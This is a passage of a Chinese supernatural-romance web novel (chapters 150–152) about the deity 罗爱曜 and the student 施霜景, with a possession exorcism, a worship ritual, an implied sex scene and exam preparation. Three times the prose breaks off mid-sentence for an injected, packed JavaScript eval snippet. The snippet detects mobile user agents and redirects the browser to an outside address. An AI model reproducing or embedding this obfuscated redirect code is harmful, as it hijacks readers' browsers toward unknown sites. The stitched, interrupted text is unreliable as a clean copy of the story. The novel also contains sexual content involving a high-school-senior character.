许家老太太略有富态,可能是为了参加供奉仪式,她将遍身的首饰全摘了,只留左手的玻璃种翡翠手环,穿一身素淡的月白色。见到施霜景,老太太立刻站起身,伸手去迎施霜景,施霜景觉得这场景很怪异,就保持着距离。许家人为什么这么热情呢?再过几个小时,施霜景就会发现,不光是许家人,其他信徒家的长辈对施霜景皆很热情。施霜景是佛子的代言人,且是这多年来唯一的一位,这可新鲜极了,和佛子套不了近乎,和人类还不能套近乎么? 施霜景艰难地应付了一阵,老太太应该是克制了,忍住没问施霜景的私事,只说:“既然你是佛子选中的人,来指导指导我们的供奉仪式也好,看看有没有需要调整、修改的步骤……”施霜景听得汗都要滴下来,他礼貌地推脱一阵,脑中反复地提醒自己,他带了任务来。 “我来是想问□□歌的事情。佛子不堪其扰,让我来看看情况。之前我舅舅去了西北一趟,被马家大宅吓得不轻,他以为□□歌已经死了……”施霜景看向许晏之,“□□歌现在在酒店里么?” 不知为何,这一眼直望得许晏之心底发凉,青年的黑眼珠似乎与脖子上的佛眼珠带了同等幽光。许晏之只好说实话:“我安置在隔壁酒店了,不敢带他来。而且你知道的,他身上被割成那个样子,送他去医院,他逃跑了三次,现在只好在酒店里给他换药,不知道会不会感染,唉。” “他要割肉请你们‘吃’,你们确定都没吃?”施霜景追问。 许晏之连忙点头,许老太太补充道:“我们一直信佛子,尽管是密宗,但佛子是正派的,我们真的不杀生,更别说吃不干不净的人肉。” 正派不正派,施霜景也搞不懂,在他看来,罗爱曜是“混沌”二字,时好时坏、不好不坏、有好有坏。 施霜景知晓了,并不要求许晏之带他去见□□歌,因为要见□□歌的人是罗爱曜。这是罗爱曜需要搞定的人。 JW酒店,身上缠有纱布的病人躺在床上,仿若一具活尸,伤口发炎渗出脓液,像□□歌这样严重的病人,竟然没有家人陪同在身边。许家派了三个人看守着□□歌。□□歌时至今日还会时不时疯癫、起乩,不论深夜还是白天,突然折了颈子大叫,或是白目流涎。医生早就上上下下、里里外外排查过一遍了,最后只问要不要等他身上烂肉长好之后,介绍他去精神卫生中心。 许家人或是坐在沙发上,或是坐在配套的桌椅上,或是席地而坐。一阵冷雾仿佛一帧一帧,随着罗爱曜的到来而封存了当前的场景。 罗爱曜开启了境界,他缓步行至□□歌的床边。□□歌睁大眼睛望向天花板,像死不瞑目,可罗爱曜一靠近,那对眼珠就立即转过来,死盯住罗爱曜。罗爱曜信手一翻,攥住马头明王的尖头金刚杵,另一手掀开薄被,露出□□歌的躯干。 一句废话都没有,罗爱曜念诵降魔咒,金刚杵对准□□歌的胸口,手臂高举,几乎就要往下狠扎。而在这一刻,□□歌的脸忽然暴涨成通红,仿佛另一张脸皮悬在原本的皮相上,他嘶吼道:“佛子无用——浪费明妃身、佛母体——融合……信我……” 嘶哑的声音,破碎的语言,罗爱曜忽的大笑起来,扔开金刚杵,掌中现出一朵赤红铁莲,他对□□歌说:“你一人‘迷相’,我替你的老祖惩治你。你趁早死了这颗贪心,即便你修欢喜法,也无法成为你老祖的转世化身。世间的荣华富贵还不够?早知道你老祖就该选你的儿子或女儿,他们好歹纯粹。” 赤红铁莲的莲瓣大张,一时间竟然像层叠的兽口。罗爱曜握着莲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645113|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花,狠狠地将其往□□歌的胸前压入进去。 事情归回到马家大宅所发生的那些事,□□歌的儿女说——“杀爸爸,请客人。”原来可以看作是请当时的卓逸纶,更可以看作是请现在的佛子信徒。 罗爱曜这段期间所感受到的蹊跷与矛盾终于有了解释。在他看来,若是马头明王本尊,不该以这般“寄生”的方式躲躲闪闪地出现:藏为圆头金刚杵的第二形态,寄生于佛子小像之中,在家中突然出现并替换掉佛龛里的佛子像……马头明王“迷相”了。 它不知道自己需要的是怎样的示现法。当金刚杵在施霜景手中时,金刚杵是为善的,这与罗爱曜所熟悉的汉密马头明王相符,马头明王降妖除魔,威猛恫吓;但当场景回到日常,密宗的混沌性又席卷一切,尤其是马头明王在藏密中又常修欢喜法——不稳定的密宗传承使得信徒要么盲信,要么污浊异想。 □□歌本来应该是他这一代与马家老祖最沟通无畅的人,纵使马家天诡异无比、马家大宅阴森恐怖,可马家天至少已经存在千年了,历届马家人都守护着这个西北腹地的秘密。□□歌来寻佛子像,是佛子的机缘到了,□□歌若那时收手,现在应该已经痊愈。 然而他没有。随着赤红铁莲往□□歌的胸膛里深深钻入,罗爱曜读取着□□歌的灵魂记忆:在马家天辩经之后,佛子放弃大乘涅槃,马家人因体质特殊,很快便各自恢复,回归生活的正轨,并闭口不谈马家天大半个月所发生的事。马家的大部分人秉持这样一个信念:倘若我是特殊,那我参与了特殊之事也不必宣之于口,因为信仰就是静默的。□□歌不死心,他去了别处,妻子和小孩都因马家天一事太过疯狂而暂时离开他,而□□歌的污浊本性使得马头明王降临人世的因缘也污浊了。 罗爱曜修持的是汉传密宗,马头明王若要助他一臂之力,以密宗涅槃,其实这是非常简单的一件事,马头明王只要单身示现即可。可近来马头明王屡次暗示双修法,这很显然是偏道了。 修正因果,这是罗爱曜最擅长的事。他要将□□歌替换为另一因果中的□□歌,兴许他可以改名为马凯歌。 随着莲刑的施用,一道声音逐渐在罗爱曜脑中明晰。 “用人世的话来说——你进度慢了。” 罗爱曜反驳道:“我知道你和文殊菩萨的意思。你们在提醒我做佛子的教令轮身,我需要化出明王怒相,也需要化出菩萨法体。我忙死了!” “你占了好坛场,还不勤奋。”马头明王道,“你无需使他成为明妃,你在他身上悟法,一念忿怒,一念智慧,你只是偷懒。” 罗爱曜哂笑:“反正我不会迷相。” 马头明王:“……” 罗爱曜:“你们跟大乘涅槃跑了,留我一个独苗,一切都需要我自己悟,已是开天辟地。请注意你的态度。” 马头明王:“……” 罗爱曜:“接下来你能示现在马凯歌身上了。我确认一下,你确实要做我的坛城护法,对么?” 马头明王:“可以做。请注意你的态度。” 150.大智若愚篇(十三) 恕施霜景对所有宗教的仪式都不甚了解,许家人向施霜景介绍供奉仪式种种流程,施霜景左耳朵进、右耳朵出,即便施霜景和罗爱曜的关系如此亲密,施霜景也不信教。 施霜景要向许家打听□□歌的消息,他问过罗爱曜,既然罗爱曜能直接读心,为什么不直接去查许家人的想法呢?罗爱曜回答,我们现在是一起的,既然事情的进度要让你知晓,不如你来做主导,我和你共享信息,这样既省时省事,又能帮你增加与信徒接触的机会。 为什么施霜景非要和信徒接触不可呢?罗爱曜又回答道,不是非要接触不可,但会给施霜景带来很多方便。人类的关系需要通过交流沟通和利益交换来达成。施霜景的年龄说小不算小了,这是施霜景迈入成人世界的契机。相比罗爱曜,这一课不如让这些混迹名利社交场的人来教更好。 施霜景招长辈喜欢,自从见了许老太太,施霜景就一直被领去见各家长辈,各家长辈又向施霜景介绍自己最骄傲的孙辈,施霜景对一些人眼熟,在拍卖会上见过。 可待了不过两个小时,施霜景就觉得无聊了。所有人都对他很尊敬。权力体现在问答之中。施霜景可以问问题,而信徒不会主动问施霜景。可惜施霜景是一个不擅长提问的人,对话与对话之间常常出现大段大段的沉默,这就让施霜景更难问出下一个问题。时间就这般空耗过去。 施霜景早上还在上课,吃过午饭就来酒店,这个下午如此漫长。F酒店的装修风格其实相当古板,现代性不足,也没有鲜明的文化特色,施霜景就很好奇为什么非要选这家酒店。为什么不是市郊的度假酒店?在市内的酒店做这些仪式活动不是非常奇怪么? “就是要选这种其貌不扬的连锁高档酒店才有隐蔽性吧?但是酒店集团的高层有佛子信徒,这个信息是可以确定的。”年轻的小辈同施霜景聊天,“这家酒店一六年才开业,到现在也不过十二年,我们各地信徒间的交流也就是这期间才变多,之前都是在老家自行碰面、供奉。” 施霜景知晓了,又绞尽脑汁想下一个问题。他这一下午就这样局促地混过去,不到下午四点就有些厌倦。大家都怕他,虽然会有年轻人来和他搭话,但他们好像都是出于长辈的胁迫,彼此都很尴尬。场上最自如的竟然是许晏之,他忙完一阵终于得闲,来找施霜景,顺便带来好消息。 “给励光福利院的捐款已经在走程序了,你猜他们第一期给多少?” “上次好像说是几百万级别的……两百万?” 许晏之比了个数字手势,是七百万。 施霜景惊讶非常:“这么多!这么多钱要怎么花?” 许晏之痞笑,他早就看出佛子挑中的青年对钱没概念,而且是不会且不敢用钱的没概念。他说:“励光福利院的运营规模非常小,员工数量太少了,而院长刘老师希望能收容更多的孩子。所以这次我们评估下来,如果要让这个福利院收容五十到一百个孩子,你们就要多招至少十多位一线养育员和社工,再配上足够的后勤服务工作者,至少四位吧。除去国家补贴,加上项目要求的配备额外的教育和医疗支持——七百万大概也就够用两三年?” 原来福利事业这么烧钱。罗爱曜拍卖了佛像,赚来的钱也就不过是补贴几十个福利院而已。施霜景当时真以为那笔钱足够分给全国的福利院了。 聊到这里,许晏之刚将手伸进兜里,想取什么东西,戴着银丝眼镜的舅舅忽然从电梯出来,许晏之露出见了鬼的眼神,忍住没有掏信用卡。 在舅舅身后跟着一位中年男人,施霜景看见许晏之的表情,回头一看,发现竟然是罗爱曜来了。他身后跟着的人乍一看像□□歌,但施霜景又觉得这人与记忆里的□□歌不大一样。 罗爱曜:许晏之想送你信用卡。 施霜景:??? 罗爱曜:你太不会用钱,让我被误会了。 施霜景立刻对许晏之说:“我不需要你的信用卡,你别给我。” 许晏之:“你怎么知道?!我没别的意思,就是把你当弟弟看。你不知道,我那些弟弟随便创创业就砸出去□□位数,还不如把钱交给你和佛子呢。” 施霜景:“说这话你自己信吗?佛子又不是银行,为什么把钱给他?”施霜景好讨厌这种动不动就掏钱的氛围,依托人情的进账其实都是债。 罗爱曜挑眉,他今天没什么装样的心情,他来这里是为了安置马凯歌——那个混乱迷相的□□歌已经被替换掉了。佛子更改一个人的因果命运的手段有些类似于更替或是合并平行世界线,现在的马凯歌是没有迷相的另一时间线的□□歌,而与马凯歌相关的所有人都将被修正记忆,他的妻子和孩子不变,而现在的马凯歌对于许家来说,只是信仰马家老祖的合作者。马头明王可以示现在这样的马凯歌身上,有些像是当初施霜景被捅刀之后,罗爱曜借施霜景的身体一用。 许晏之调侃地问马凯歌和罗爱曜:“上次没拿下佛子像,你这个家伙又跑去骚扰小施的舅舅了?” 马凯歌,也就是马头明王从善如流道:“只是和他吃个饭谈西北的生意啊,你们今天还在搞供奉仪式,别害我。我已经不打算购入佛子像了,你们自己供奉就好。” 马凯歌和许晏之随意地交谈几句,许晏之不知是搭错了哪根筋,聊着聊着就同意将马凯歌和罗爱曜直接带去供奉仪式的房间。罗爱曜在错身离去之际,捏了捏施霜景软热的手掌。 罗爱曜:有点无聊吧? 施霜景:嗯。早知道把作业带来写了。今天要折腾到几点? 罗爱曜:这么说有点对不住你,但你晚上要好好吃饭。 施霜景:这有什么对不住我的? 罗爱曜:然后来供奉仪式的房间,四十二层的那间。 施霜景:…… 施霜景:你要干嘛? 罗爱曜:和你“双修”啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645114|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 施霜景:你不会又害我吧?我的病才好一个月。 罗爱曜:我现在根本没有害你的能力。 施霜景不是不想相信罗爱曜。□□就□□,干嘛要叫“双修”?罗爱曜突然把上床叫做双修,一定有他的用意。施霜景对罗爱曜的怀疑有时非常情趣性,习惯了怼他几句,而这一模式早已从他们第一天相遇就定型了。 在罗爱曜的“吃饱饭”建议下,施霜景拒绝了信徒们的高级晚宴,他知道自己在这种场合肯定吃不下去,宁愿在附近小区找个馆子自己吃饭。事实证明,施霜景非常了解自己,他是个内向的人,自己一个人去家常菜馆点了三菜一汤,边看手机边吃,吃得大松一口气,吃得轻轻松松毫无负担。 春风沉醉的晚上,施霜景坐在小区的花坛边沿喝汽水。满楼灯火如光树,城市里见不着星星,小区内外的门面都热闹,孩子们挤在菱格地砖的小广场骑滑板车,下了班的年轻人拖着步子进入楼门,吃过饭的老人带着流苏大扇子走出楼门。这才是施霜景的世界,可施霜景的世界不止烟火了。他有另外一半的自己还留在铺着软毯的高档酒店里,也可以说有另外一半的自己永远留在了那雕梁画栋、精美异常的宝殿中,甚至可以说那另外一半的自己永永远远沉醉于佛光漫天的蓝夜中。 都说亲佛之人不可喜贪,可施霜景在与罗爱曜所相处的这日日夜夜中,感觉自己被滋养的不仅是爱欲,也有无尽的贪欲。甚至罗爱曜还要鼓励他,要爱,要花钱,要做这件事,要做那件事。罗爱曜甚至要为了施霜景的“不贪”而怨怼,觉得那是不足够爱他的表现。这怎么会让施霜景不得意忘形呢?施霜景将汽水一饮而尽。他每次都在独处的时候感觉更爱罗爱曜。愈是安静,愈是独自思考,愈是坚定这爱意。将锡皮丢进垃圾桶时,施霜景忽然觉得自己挺无可救药的。怎么就爱上了,还爱成这样?想快点见到罗爱曜。想亲吻他,想和他拌嘴,想在罗爱曜身边停止思考“爱”这回事,想去罗爱曜的世界。 乘坐电梯上四十二层,施霜景认识电梯上所有餐厅的宣传,他不再为自己没见过、吃过 的食物感到自卑,他是不愿意吃,而不是不能吃。叮的一声,电梯到达,幽闭的电梯左右打开,这道走廊连接着过去与现在的施霜景,故事从这里开始,欲望的织线为红色,十一月初遇他,三月初便差点死了,剪下这短短的欲与爱之线,正好绕二人一圈,须得紧紧拥抱着才能将红线系上。他们的红线从来不系在可以脱落的地方。他们的红线是贪心又安心的红线。 施霜景轻轻推开房间门,满室黑暗,可施霜景的声音有些雀跃。 施霜景说:“我到了。” 一只手揽过施霜景的腰,罗爱曜的声音仿佛溺在黑暗中:“你终于来了。可能这才应该是我们初次见面该带有的情绪。” “什么情绪?” “彼此相爱,等你不来,心急如焚,见之解渴。就是这样的情绪。” 151.大智若愚篇(十四) “吃饱了吗?” “饱了。” “吃了什么?” “……为什么不开灯?” 那双手蛇行至施霜景的腰腹,冰冷抚摸,这触感马上就令施霜景想起他们的第一夜。施霜景在心里使了力,才没让自己推开罗爱曜。眼前不能视物,每一步都走得小心翼翼。 “不开灯会比较好。”罗爱曜说,“怕你会不专心。” 施霜景马上就明白了,罗爱曜一定又是在搞些见不得台面的仪式性东西。这么想着,施霜景愈发觉得脚边毛茸茸的,分不清踩着的到底是地毯还是什么别的东西。罗爱曜搂着他走,施霜景来过这房间很多很多次了,脑袋里有基本的地图,知道哪里有桌椅、区隔,房间里一点光都不见,就连窗帘都换成了最沉重的黑布,人类的眼睛无法捕捉任何光亮。 罗爱曜痴迷地探摸这人类的脏器聚集地,腹部的皮肤与脂肪之下,黏腻、模糊、混乱的一团,这行为近乎怪癖,对腹部血肉的痴迷如此野生、原始,像草原里埋伏的狮在等一头过路的鹿。施霜景呼吸渐快,不久后上身的衣服就被罗爱曜尽数脱掉了。什么都看不见,不如闭上眼睛。施霜景以为自己会被带到床上,可走到似乎是床的位置,却没有床。身侧的罗爱曜转至身前,两人胸膛对胸膛,施霜景感觉到心跳,遂进一步放心。 可下一秒,他的身后贴上冰冷的人躯,施霜景吓一跳,下意识回头,罗爱曜却掰住他下巴,“看我。” “背后是谁?!” “我的法身。” 施霜景被罗爱曜搞得很错乱。他明白今天下午罗爱曜的暗示是什么意思——要他好好吃饭,然后来房间“双修”——不就是上床、□□?可罗爱曜不就在他面前么?有人身在的情况下,法身来干什么? 施霜景试图推开后面的存在,太毛骨悚然了,那种非人的、异质的、神秘不明的鲜活存在,更可怕的是,这鲜活存在对他存有天然的亲昵,施霜景甚至无法分辨罗爱曜的法身是否是近似“人类”的身体。这不是施霜景第一次接触它,施霜景常常觉得罗爱曜的法身更近似于雕塑,却是那种易于变幻的雕塑,并非胶质或流动质,这感觉无法诉诸语言,只是一股脑地塞进施霜景的感官。初体验是冰凉,然后是温润,让人怀疑是玉石,可再仔细一摸,心里毛毛的,仿佛摸到了玉石里流动的灵脉,像是能感觉到另一种生物的脉搏似的。半像不像人类的东西往往最恐怖。 整个仪式现场其实并不可怖。为了方便信徒供奉,许家撤走了所有桌、椅、床,尽量留出空地。卧室天花板埋有那张蓝色羊皮唐卡,原先是床的地方则放有材质特殊的须弥座,寻常的须弥座往往是石制的,可仪式中的须弥座有着近似皮面鼓的结构,须弥座的腰身坚硬、稳固,在本应放置佛像的台面一层却是柔软的,仿佛绷了一层坚韧的软皮。在这层皮台之下,可发现须弥座为中空,八边形的台身围出一个池,内里填有赤色泉水。这可不是一般的须弥座,座身石材取自佛子所诞生的石窟,池中水取自育养佛子的红泉,须弥座的柔软台面取自佛子诞生之后泉中枯萎的巨莲,莲叶萎缩,莲花褪成晶莹如肉的质地。这须弥座是佛子自己修的,也是每次仪式现场他自己所放置的,不流入信徒之手。 每位信徒的供奉流程都如下:进门,眼睛蒙上不同颜色的软绸,净手,来到佛子的须弥座前,心想佛子之形,也想作明净蓝光遍洒室内。佛之万万相,对一人便是一相。信徒只对自己所想之佛子相作供奉、施礼、还愿、祈祷。不点香,磕头作揖跪拜随意,一要心诚,二要恐惧,三要自愿将这恐惧当做警示,最后怀揣恭敬之心离开供奉现场。今年是许家作主持,出来之后,所有信徒将绸带系在许家做的佛手雕塑上。 施霜景被推倒在这须弥座。 一夜极致尽兴,罗爱曜与施霜景狼狈地找了酒店的空房间住进去。二人洗过澡,施霜景靠在罗爱曜胸前,没力气回家,却因酣畅淋漓的一场X爱而深夜无眠。 “这是我病好之后……第一次做得这么……” “怎么?” “做得这么不要命。” 罗爱曜的笑声像是从胸腔里震出来的,他低笑道:“我从你身上学到很多之前从没学过的东西。嗯……多神奇啊,我教你的都是世上已有的知识,你教我的却是世上未有的知识。” “你很像那什么……对,哲学家。我经常听不懂你在说什么。” “像我们这样常常讲经的存在,不是在对别人讲,而是对自己讲。”罗爱曜道,“我不会怪你听不懂,放心。” 落地窗帘大开着,城市天际线处已泛白,宽阔马路两侧是高楼大厦,折光,重重复复地折光,红的绿的是米粒般的交通灯,黄的是街灯也是过早亮起的家居灯,银白的是车灯。只需要拉开窗帘,室内都这般色泽鲜明地微微发亮。罗爱曜与施霜景不需要开灯,这样的□□后谈话还像同盟……或是共犯?施霜景最近学习压力大,这样做一场发泄式的爱,心底就没有那种灵魂的焦灼感。一部分的罗爱曜则是在施霜景看不见的地方战栗着,耳畔犹回响着玉石相碰的情欲的声响,这一部分的罗爱曜会将兴奋的时间无限延长,并利用这样的兴奋去处理积压未动的本职工作。 “今天的马凯歌和梦里见到的不一样了。”施霜景倒是显得比罗爱曜更专注,“我还记得我在梦里看完了你在马家大宅的所有遭遇,除了最后你辩经的那部分。其实我挺不习惯在现实生活里见到马家人的,尤其是见过他们那副样子。”施霜景指的是马家人的畸形佛胎半成品法相。 “罗爱曜,在你的梦里找马头明王线索太难了,我没帮上忙。我记得你已经找到了两位护法神,一位是鬼子母神,另一位是龙王护法。马头明王愿意做你的护法了么?” 施霜景的手指皮肤皴皴的,□□情,在水里做了半天,还洗了两遍澡,罗爱曜仔仔细细地捏施霜景的指腹,两人的手在被子里,做最微小的幸福的接触。 罗爱曜自豪道:“如果我能悟出我的明王怒相,那马头明王就不会拒绝。我觉得差不多了,回到家就能看到结果。这位马头明王被信徒反误了,行事上有些乖张,出现的形式常常像是挑衅,但他本尊应该没有这个想法。我从他身上悟到了一点,那就是暂时不要将自己的法身独立出来,成为独立的本尊……或许暂时三位一体就比较好。我又扯远了。谁说你没帮上忙的?你当然帮了大忙。” 听到罗爱曜肯定自己的贡献,施霜景高兴。他随意一摸,忽的摸见散在床上的一枚指环,光是在手里转了一圈,就能感觉到这戒指的朴素古意。施霜景将戒指拿出一看,竟然还是一枚宝石戒指,宝石太大颗了,戒圈又太简单了,怎么看都不是现代货。施霜景将戒指递还给罗爱曜,罗爱曜倒是让施霜景戴在无名指玩一玩,可惜戒指尺寸不符,戴食指都嫌大。 从罗爱曜的描述中,施霜景知晓了,原来法身上的那些仪具饰物也都是随佛子的到来而一同到来的。罗爱曜的一些法器也是如此,生即带来,一些则是他后天搜集得到的,罗爱曜的法界有时会有通道,去往其他废弃的佛与菩萨的现世法界,就像那是独属于罗爱曜的荒原与探险。 这个世界……这偌大的、多层次的、多孔隙的世界里,有一个就连罗爱曜都不能参悟的储藏与价值系统,往高了说是诸存在的生与灭,像佛子再往上有佛与佛之国度,像其他生物有他们的天门或地府;往低了说是人类世界的财富与资产系统,罗爱曜有时觉得自己的财富是某种报酬,但仔细想想,数额远多于报酬,条款也远多于报酬。跟罗爱曜有相似疑问的还有蒋良霖。他们都是某种黑卡的持有人,但就连蒋良霖这个金融系统出身的人也没能搞懂最深层的原理。哦不对,蒋良霖持有的是黑卡,但罗爱曜持有的是储蓄卡。罗爱曜虽然行事混沌,可他还是比蒋良霖更会积德。 “有钱好啊,但太有钱了也不好……钱够用就行。” 施霜景摘下戒指,忽然很无厘头地套在罗爱曜的胸上。罗爱曜愣住半秒,施霜景总在莫名其妙的地方展现他的天才性。罗爱曜将戒指转移回施霜景胸前,戏谑道:“你的比较大,圈起来正正合适。” 一觉睡到天光大亮,施霜景脑袋还是懵的,一看时间,竟然已经到了下午要返校的时间。施霜景弹射起床,满世界找自己的裤子。更恐怖的事情是,他的作业没写完。天哪,回学校晚自习,估计晚上又要考试。 施霜景狠狠推醒罗爱曜:“对了,我最近要三诊……可是这几天我一想到高考就发抖,怎么办?” 罗爱曜摸出一条内裤,扔给施霜景:“不论怎样都要考的,能怎么办?考就是了。” 施霜景穿回自己那条污糟的内裤,他必然要回家换一次衣服。“我还没问过你,我要是真考不上怎么办,你帮我找活干?” “你想干什么就干什么,为什么要我帮你找活?”罗爱曜打哈欠,“不是喜欢唱歌么?拿钱去买设备,自己学录歌……干脆再学学作曲、作词,既然喜欢,就要试着往前走一走。” “我不行的吧……” “那就高考。你朝我许了愿,说到底这还是我的责任之一呢。我得送你进考场才行。”罗爱曜也起了床,穿衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649648|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他先带施霜景去吃个饭,再开车回家换衣服、取书包。 他们避着信徒离开酒店,罗爱曜问施霜景想吃什么,施霜景其实还是想吃自助,可这个点正是酒店自助暂停供应的时间,而且施霜景一想到他们在别人做供奉的房间里大搞特搞,就没脸再回去了。罗爱曜再一细问,发现施霜景是想吃肉,想吃牛排,于是罗爱曜直接带施霜景去附近的西餐厅,吃了一肚子战斧牛排再回家。 施霜景坐在教室里,考试走神之余,在草稿纸上写下“谈恋爱谈昏头”六个字。老师监考发现他在走神,给了他一记眼刀,施霜景灵魂归位,把这莫名其妙六个字划去。这是在考理综呢!他们每周日晚上都会花两个钟头做理综卷。施霜景考得人都要冒烟了,归来仍是理综一百三,走狗屎运了蒙对选择题就能上一百四。 距离高考只剩不到五十天,施霜景焦虑啊。他现在找回了当年中考的状态,那时施霜景的成绩虽然比不得D市好初中里出来的学生,但在厂校里算很不错的了。如今施霜景补习归来,在班里考试竟然经常单科排前几名。家里的罗老师似乎很会查漏补缺,先为施霜景找出优势学科,然后罗老师充分使用自己的特长,在家狠抓施霜景的数学和物理,在数理两门里,他还为施霜景找到了优势知识点,例如施霜景挺会做数列题和立体几何,物理则是挺会做力学题。 信心逐渐建立起来了,施霜景碰见这些题目也就不会抓瞎,至少还有几块肉可以吃到嘴里。施霜景今晚力学碰撞大题做得很顺,前两问都轻松做完,他一看时间还有剩,就顺势打算为第三问写个公式。写着写着,施霜景觉得自己好像有些思路,反正从这一行开始,做对了是施霜景赚到,做错了也不扣分不是?施霜景自然地作答下来,将答题纸这一格填满。 考完理综,还剩四十五分钟的晚自习时间。施霜景写不完周末的作业了,只能挑着做,剩下的当然是抄!施霜景课间时分和杨玲玲互换了两门课的作业,善哉善哉。 张国强是班主任,收了卷子当然是他先改物理部分。他吹一口茶叶,厂高的学生质量不行,其实越到高三后期,改卷难度越小,很多人早早就放弃了。老教师改卷如流水线,先看大题,改着改着,张国强忽然发现有人把力学大题做完了,他大致扫一眼过程……嗯?没毛病?示意图都画了?这时张国强才翻开学生姓名。竟然是施霜景! 从这一晚开始,张国强真对施霜景有些改了观。他能看出施霜景的学习状态越来越好,但总体来说不对施霜景的考试成果报太大希望。今晚的考题是某年的高考真题,不是S省的,但这套卷的难度与S省高考卷难度差不多。这次周日理综随堂考,施霜景的物理拿了七十二分。 施霜景赶在晚自习结束前抄完了作业,心里对科任老师有点抱歉,多出来的时间他要回家向罗老师请教!施霜景每天都会问罗爱曜一道物理题和一道数学题,让罗爱曜一遍遍地教,不学会百分之七十以上不收手。 回到家中,施霜景搓搓猫头,他捧起玉米,一闻这小猫的鼻子就知道,它的佛子爸又给它喂小零食了。罗爱曜倒是没再玩麻将了,坐在餐桌前噼里啪啦敲电脑键盘,显然是在做正事。 施霜景抬头望向佛龛。 “啊——这是你的明王怒相?”施霜景稀罕极了,两步凑上前去,不好直接伸手去取,罗爱曜头也不抬地说,你随便拿。 这佛子明王怒相像简直是工艺品,施霜景小心翼翼地接下来,还不自觉地用衣袖擦拭它。 与马头明王像那横眉竖眼的样子不同,佛子的教令轮身明王怒相竟然相貌清俊,似菩萨样。他的明王为三头八臂,从左往右,各面分别为独眼、双眼与三眼。正面的双眼面相是善而有情的,可这双眼又冷到了极致。独眼那一面实则是闭上了双目,而獠牙之口大张,眼从口现。三眼那一面则均为竖眼,看破一切妖魔。佛像整体颜色极为清浅,简直像是一整块蓝玉雕的。身后是日轮与月轮,是极其对称的繁丽光环。八臂中,有四臂持有佛子莲花法器,剩余四臂则持有各色武器,施霜景看见一把弓箭,心想原来罗爱曜还会射箭?唐代的教育好到位啊。 施霜景:“你审美怪好的。” 罗爱曜:“当然。” 施霜景:“我放回去了。真不错……他们,不对,他也会显形么?” 罗爱曜:“暂时不会。你可以收好我的明王像,他们是真的很能打。” 看来罗爱曜吃亏真的吃了太多次,被偷家也不止一两回。明王像好啊,明王很有战斗力。罗爱曜满意的不得了,就让施霜景收进他戴的佛珠里了。 152.大智若愚篇(十五) 施霜景连轴转备考,每天在家与学校之间两点一线。许家今年主持的佛子供奉结束了,许晏之专门带礼物拜访福利院,希望见到施霜景一面,他倒是懂规矩,就算查到了施霜景的家庭住址,也没有贸然上门。他拜访福利院那天,施霜景正好随学校大部队去三诊,罗爱曜代替施霜景去福利院接下礼物,许晏之请秘书做了一项特别的旅游计划,想请福利院的所有孩子去沿海城市走一圈。许晏之说:“接下来福利院要开放接收更多孩子了……根据我们在其他地方的调查结果,未来可能会有一些残疾的孩子送来。许家还会为励光福利院提供一笔特殊的健康基金,为他们的医疗和康复保驾护航。” 许晏之这人看起来油头粉面的,做事倒是慈善。罗爱曜勾起嘴角,笑道:“你说的这些礼物,施霜景又享受不到。” “噢,得了吧,我特意求问过佛子了,要不要给施先生提供额外的经济帮助,他让我快滚。我看施霜景挺有大爱的,你等着看,我送他这份礼物,比直接送他礼物有效。” 许晏之离开,不论F酒店还是励光厂又恢复平和的氛围。 自从经过猴鬼一事,刘茜现在生活很淡然。因是鬼子母神替她断掉了母子缘分,刘茜还记得她的儿子,但这份联系仅仅存在于回忆中。说不难过当然是假的,决策是做下了,挫骨断筋的疼痛仍存。刘茜和罗爱曜闲聊,她说她刷到了儿子前妻的抖音账号,她带过好几年的孙子已长大了,刘茜透过屏幕看见他们,有时心里会痒痒的,说不好她哪天头脑一热,会去到前儿媳所在的城市,远远看一眼也好。罗爱曜嗅着空气里的清浅花香,只说:“到那时候就带上小莫吧,我给她做一尊新的彩瓷像,你随身背上,她会帮你。” 刘茜的下颌已几乎痊愈,下次去医院就是要装假牙了。她笑起来的时候,牙齿掉落的空旷处有些返老还童的稚气,她说:“我和鬼子母神做朋友,你说稀奇不稀奇?趁我还走得动,我背她去看大好河山。等走够了、走不动了,我就回来,帮你和小景带孩子。” 话题就这么一转,刘茜试探佛子,佛子心情好,微笑不答。刘茜不知道佛子到底在想什么,也不知道自己能不能活到那时候。不管!刘茜直觉地认为,佛子和小景一定会有孩子。活到这把岁数,年轻人想不想生孩子还看不出来?小瞧她这个八卦的老太太了!哦对,不能是上学期间,也不能在家做全职太太。刘茜在心里记笔记,等见到小景一定要交待交待再交待。 